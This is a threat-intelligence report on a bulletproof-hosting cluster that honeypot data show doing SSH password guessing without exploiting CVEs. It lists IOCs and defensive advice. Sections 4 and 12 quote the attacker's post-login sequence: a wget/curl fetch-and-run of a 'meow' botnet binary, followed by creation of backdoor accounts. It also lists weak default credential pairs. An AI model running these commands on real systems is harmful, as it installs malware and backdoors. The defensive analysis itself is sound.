The Empty Arsenal: A Bulletproof Cluster That Weaponizes No CVEs

TI-2026-088E — Bulletproof Hosting series · Addendum to TI-2026-088 "The DMZHOST Trinity"

Confidence: HIGH — a negative finding, established by direct per-IP enumeration of the honeypot's CVE-direction endpoint across the cluster.

The finding in one paragraph

Threat reporting has a gravity well: attach a CVE to a malicious host and the finding feels heavier, more sophisticated, more publishable. This report resists that pull because the evidence demands it. A per-IP sweep of 19 documented DMZHOST cluster hosts returns the same value on every single one: zero offensive CVE exploitation. Not a low count — none. offensive: [] on all nineteen. Every observed interaction is SSH credential brute-force: a shared weak-password dictionary and a common Go-based scanner, followed — on the sessions that "succeed" — by a commodity botnet loader that is dropped by hand over the shell, not delivered through any vulnerability. The cluster's entire offensive repertoire is password guessing plus a copy-paste payload. Two hosts carry banner-derived posture CVEs — exposure notes about their own software version, not attacks they launched — and even those are generic global buckets. The absence is the finding, and it changes what defending against this cluster actually means.

1. What was checked, and how

For each cluster IP, the honeypot's honeypot_ip_cves endpoint was queried in direction-split mode, which separates two very different things:

• offensive — a CVE the host used against the honeypot (an exploit attempt observed in-session, with an exploit id and score).
• posture — a CVE the host is exposed to on its own responding stack, inferred from a service banner (Shodan/InternetDB), with no attack implied.

The distinction is the whole report. A "posture" CVE says the attacker's own box runs an old OpenSSH; an "offensive" CVE says the attacker fired an exploit. Conflating them is how a credential-stuffing bot gets written up as an exploit actor — and it is the single most common way a threat report accidentally inflates its subject. The sweep therefore records the two directions in separate columns and never lets one masquerade as the other.

2. The sweep — nineteen hosts, one behaviour

Offensive-CVE total across the cluster: 0 / 19. There is no exception, no partial hit, no low-confidence maybe. The cluster does not carry, sell, or deploy a vulnerability arsenal. Note that several hosts (92.118.39.49, 92.118.39.50) even serve legitimate-looking websites on ports 80/443 — plesk.misaw.cc, doctolib-aides.com, horaires-mondial.com — yet none of those web surfaces are attacked by the cluster; they are the cluster's own hosted content, not targets it exploits. The hosts are attackers over SSH and bystanders over HTTP.

[DOCUMENTED] Zero CVE weaponization across all swept DMZHOST cluster hosts. The sole confirmed offensive behaviour is SSH credential brute-force.

3. What it does instead — the anatomy of cheap

The cluster is a credential-stuffing operation, and it is worth seeing exactly how unsophisticated that is:

• A shared weak-credential dictionary. The cluster's shared set includes high-volume guesses and a low-frequency long tail, all of them verified byte-exact against the raw honeypot credential store (2026-03-21 → 2026-07-21): root:123456 (248 attempts across 152 hosts), docker:123456 (6 hosts), centos:12345678 (5 hosts), and the rarer-but-real es:12345678 (5 distinct source IPs) and ftpuser:12345 (6 distinct source IPs, last seen 2026-07-21). The rare pairs matter because they are low-frequency yet spread across multiple independent IPs — that is precisely the "shared credential" signal the entity-resolution shared_tooling cluster (confidence 0.85) is built to surface. Above them sits the dominant volume, the most obvious guesses imaginable — admin:admin (16,125 attempts across 475 hosts), admin:123456, pi:raspberry, root:root. Not one of these is tied to a CVE. It is straight guessing, against defaults and near-defaults, at industrial volume. (A verification note, because it bit this very investigation: the long-tail pairs are invisible to the top-N credential tools — they rank ~3,500th–4,600th by frequency and fall below those tools' default limits — so confirming them requires a direct query against the raw store, not a top-list pull. Absence from a top-50 list is not absence from the data.)
• A shared Go-scanner fingerprint. HASSH 16443846184eafde36765c9bab2f4397 (a Go_SSH / zgrab2-zmap class scanner, classified "scanner") spans 486 hosts across 11,623 sessions cluster-wide. Of the swept IPs, 2.57.122.238, 45.148.10.240, and 92.118.39.78 are direct members of that fingerprint set. A HASSH shared by 486 hosts is a signature of a popular tool, not proof of one owner — the parent series is explicit about this — but it does tell you the cluster is running the same commodity scanning kit as a very large scanning population.
• A shared post-auth recon probe. On 193.32.162.84 the honeypot logged command hash 668c13b46ed6fac0 (a head -1 /proc/version kernel-recon one-liner) inside a 28-host command-automation cluster. Reconnaissance, not exploitation.

A necessary honesty note on the numbers: the honeypot records apparent "successful logins," but these map to credentials the honeypot is deliberately configured to accept (Cowrie's accept-list — e.g. admin:admin, root:123456), not to real compromises of real machines. A "success" here means "the bot guessed a password our trap was told to allow," which is exactly the signal we want and exactly not a breach. When this report says a host had "70 successes," it means seventy times the guesser hit an allowed default and was let into the sandbox — a measure of how indiscriminately it sprays, not of anything it broke. Reporting those as compromises would be its own kind of over-claim, and this series does not make it.

4. The payload that proves the point — a loader, not an exploit

The most interesting thing about the cluster's post-authentication behaviour is what it is not. When a spray lands on an accepted credential and a shell opens, the actor does not stage an exploit, escalate through a kernel bug, or deploy vulnerability-specific tooling. It runs a commodity botnet loader, dropped by hand over the shell:

wget http://<ip>/meow || curl -O http://<ip>/meow[arm64]
chmod 777 meow; ./meow
useradd admin1 ; useradd user1 ; chpasswd  (modzmodz)

Read that sequence for what it says about capability. It fetches a pre-built binary over plain HTTP, marks it world-executable, runs it, and then adds two backdoor accounts with a throwaway password. There is no CVE anywhere in it. It is the post-auth equivalent of the pre-auth spray: cheap, generic, reusable, requiring no target research and no vulnerability. The "meow" loader recurs across many unrelated hosts that reach the honeypot's accept-credential trap — it is a shared commodity payload, not a bespoke tool, and critically it is delivered because a password was guessed, not because a vulnerability was exploited. The whole kill-chain, from first packet to backdoor account, contains zero exploitation. That is not a gap in the evidence; it is the shape of the operation.

[DOCUMENTED] Post-authentication activity is a hand-dropped commodity loader plus backdoor-account creation — no CVE, no exploit, delivered off the back of a guessed credential.

5. The two posture CVEs — read them correctly

Two of nineteen hosts carry CVE signal, and both are the posture kind:

• 2.57.122.238 — 99 CVEs, a generic Shodan bucket spanning BIND/Apache/Exim/OpenSSH/PHP/Samba (e.g. CVE-2024-6387, CVE-2026-35385). Direction: posture, confidence 0.6, sourced from a banner scan of the host's own web stack on port 80.
• 193.46.255.86 — 20 CVEs, an SSH/HTTP banner bucket (the CVE-2026-35385/-35386/-35387/-35388/-35414 OpenSSH family, CVE-2024-6387 "regreSSHion", a CVE-2007-2768 mod_ssl banner). Direction: posture, banner-derived.

The offensive array on both is empty. The CVE-2026-35385 family in particular is a generic OpenSSH bucket shared by thousands of unrelated IPs worldwide — Shodan/InternetDB tag it from the version string ("this OpenSSH build has known CVEs"), not from any observed exploit. These entries describe the attacker's own outdated software, not a weapon. Treating "this scanner runs an old sshd" as "this scanner exploits CVE-2026-35385" would invert the direction of the evidence — and it would be an easy inversion to make, because the CVE numbers look alarming out of context. Context is the entire defence against that error: direction: posture, offensive: [], confidence 0.6, source Shodan banner. Every one of those fields says "exposure," none says "attack."

[DOCUMENTED] The only CVE signal in the cluster (2 of 19 hosts) is banner-derived own-host posture, not weaponization.

6. What a real exploitation cluster looks like — and why this isn't one

It is worth drawing the contrast explicitly, because the negative finding only means something against a picture of the positive. A cluster that actually weaponizes CVEs leaves a very different trace in the same honeypot: in-session exploit attempts against specific service versions (an exploit id, a payload, a score on the offensive axis); delivery of a stager through a vulnerability rather than over an already-open shell; version-targeted probing that maps a service before firing; and often lateral movement or privilege escalation keyed to a named bug. None of that is present here across 19 hosts and thousands of sessions. What is present is the opposite pattern end to end — undirected credential spray, a commodity scanner fingerprint, and a hand-dropped loader. The cluster is not a diminished exploitation operation that happens to be having a quiet month; it is a credential-stuffing operation whose design never included exploitation in the first place, because exploitation is a cost its business model is built to avoid.

7. Seven questions

Q1. A bulletproof host with no exploits — isn't that underwhelming? Only if you expected sophistication. The threat here is not cleverness; it is volume and persistence. A host that guesses root:123456 a thousand times an hour, forever, from space that never answers abuse mail, is a real and continuous danger. Cheap is not harmless.

Q2. If they can rent bulletproof space, why not run exploits from it? Because the business model doesn't need to. Credential stuffing monetises the long tail of weak passwords across the whole internet; it requires no zero-days, no maintenance, no target research. Exploits are expensive and burn fast. Password guessing is free and never expires.

Q3. Could they be exploiting elsewhere and only brute-forcing us? Possible — a honeypot sees only what reaches it. But the sweep covers 19 hosts over weeks, and the behaviour is monolithic: the same wordlist, the same scanner fingerprint, the same recon probe, the same loader, zero exploit attempts, on every host. A cluster hiding an exploit capability would usually leak it somewhere across 11,623 sessions. This one never does.

Q4. Why does one host show 99 CVEs if the cluster weaponizes none? Because those 99 are its own exposure — a scanner box running old, unpatched services and answering on port 80. It is a comment on the attacker's hygiene, not their arsenal. Ironically, the busiest exploiter of weak configuration is running weak configuration itself.

Q5. Isn't a Go scanner across 486 hosts a sign of a big operation? It is a sign of a widely-shared tool, which is different. zgrab2/zmap-class scanners are commodity; a 486-host HASSH set is a fingerprint of a popular scanning toolkit, not proof of one owner. The parent series is explicit about this: shared tooling ≠ shared operator.

Q6. Why publish a negative result at all? Because the negative is actionable and the positive would be false. "This cluster needs patching" sends a defender to fix the wrong thing. "This cluster only guesses passwords" tells them exactly which control closes the door. A precise no is worth more than an impressive maybe.

Q7. What would change this finding? A single observed offensive CVE — one exploit id with a score, in-session, on any cluster host. The endpoint is queried; it returns none. The day it returns one, this dossier gets a new version. Until then, the arsenal is empty.

8. The counter-narrative, steelmanned — then defeated

Steelman: "You found 119 CVEs across two hosts and you're calling the cluster harmless? That's downplaying a bulletproof network on ASN-DROP. Absence of evidence isn't evidence of absence — your honeypot just didn't catch the exploits."

Defeat: The 119 CVEs are not the cluster's weapons; they are two hosts' own banner exposure, tagged posture, offensive: [], at 0.6 confidence from passive Shodan fingerprinting. Reading them as attacks reverses the arrow of the data. And this is not "absence of evidence" — it is presence of a specific, exhaustively-observed behaviour (credential stuffing, then a loader) to the exclusion of another (exploitation), across 19 hosts and thousands of sessions, on a direction-split endpoint that would have surfaced an exploit if one occurred. The finding is not "we saw nothing." It is "we saw everything they do, and it is all password guessing and a copy-paste payload." Nothing about the cluster is downplayed — it is dangerous precisely as what it is, and calling it an exploit actor would make it harder to defend against, not easier.

9. Read between the lines

The empty arsenal is itself an operational signal. A cluster that never touches a CVE, on bulletproof space, running a commodity scanner and the oldest passwords in the book, and finishing with a hand-dropped loader, is telling you what it is for: mass, indiscriminate, low-cost account compromise — the wholesale end of the market, feeding credentials, backdoor accounts, and footholds upstream to whoever buys them. The absence of exploits is not a gap in the operation; it is the operation's design. Sophistication would be a cost, and this business is built on having none. The loader is the tell: you do not need a zero-day when a guessed password and a wget will do, and the operator has decided — correctly, for their economics — that it will do.

10. What if

What if every defender treated this cluster as a patching problem? They would harden application versions, chase the 99-CVE banner list, and leave password authentication wide open — defending the one door the attacker never uses while holding the door they always use ajar. The entire value of the negative finding is redirecting effort: the fix is authentication, not patching. One line in sshd_config — PasswordAuthentication no — closes this cluster out entirely; a month of CVE remediation does not touch it. The finding also inverts the usual triage instinct: the scary-looking 99-CVE host is the least of your problems from this cluster, because those CVEs are its own and it never turns them outward.

11. Documented vs inferred — the honest ledger

12. Infrastructure & IOCs

Swept hosts (19)   AS47890 (RO): 2.57.122.238/.209/.150/.168, 92.118.39.14/.49/.50/.71/.77/.78,
                                 80.94.92.55/.234, 193.46.255.86, 193.32.162.84/.86
                   AS48090 (NL): 195.178.110.217/.228/.232, 45.148.10.240

Offensive CVEs     0 / 19   (honeypot_ip_cves offensive:[] on every host)
Posture CVEs       2 / 19   2.57.122.238 (99, banner) · 193.46.255.86 (20, banner) — NOT weaponization

Shared wordlist    root:123456 · docker:123456 · centos:12345678 · es:12345678 · ftpuser:12345
                   (all verified byte-exact in raw store; last ftpuser:12345 hit 2026-07-21)
                   dominant volume: admin:admin, admin:123456, pi:raspberry, root:root
Go-scanner HASSH   16443846184eafde36765c9bab2f4397   (486 hosts / 11,623 sessions; direct members
                                                        2.57.122.238, 45.148.10.240, 92.118.39.78)
Recon command hash 668c13b46ed6fac0   (head -1 /proc/version; 28-host automation cluster)
Post-auth loader   wget/curl http://<ip>/meow[arm64] ; chmod 777 ; ./meow ; useradd admin1/user1

Defensive action: treat the DMZHOST cluster as a commodity credential-attack source, not an exploitation threat. Disable SSH password authentication, require keys, rate-limit / fail2ban, and blocklist the operator prefixes (AS47890/AS48090, already ASN-DROP). Do not prioritise CVE patching against this specific actor — it uses none. Watch instead for the post-auth tells: creation of admin1/user1 accounts and outbound wget/curl of a meow binary are higher-fidelity indicators of this cluster than any CVE signature.

13. Sources

LSN honeypot per-IP honeypot_ip_cves (direction-split) across the cluster; honeypot_shared_credentials / honeypot_credentials (wordlist); honeypot_fingerprint_coordination (Go_SSH HASSH set); honeypot_commands (post-auth loader); sec_bulk_ip_enrich (InternetDB/RDAP ports + banner CVEs); Spamhaus ASN-DROP (AS47890/AS48090). Negative finding reproducible by re-running the same per-IP sweep. TLP:WHITE.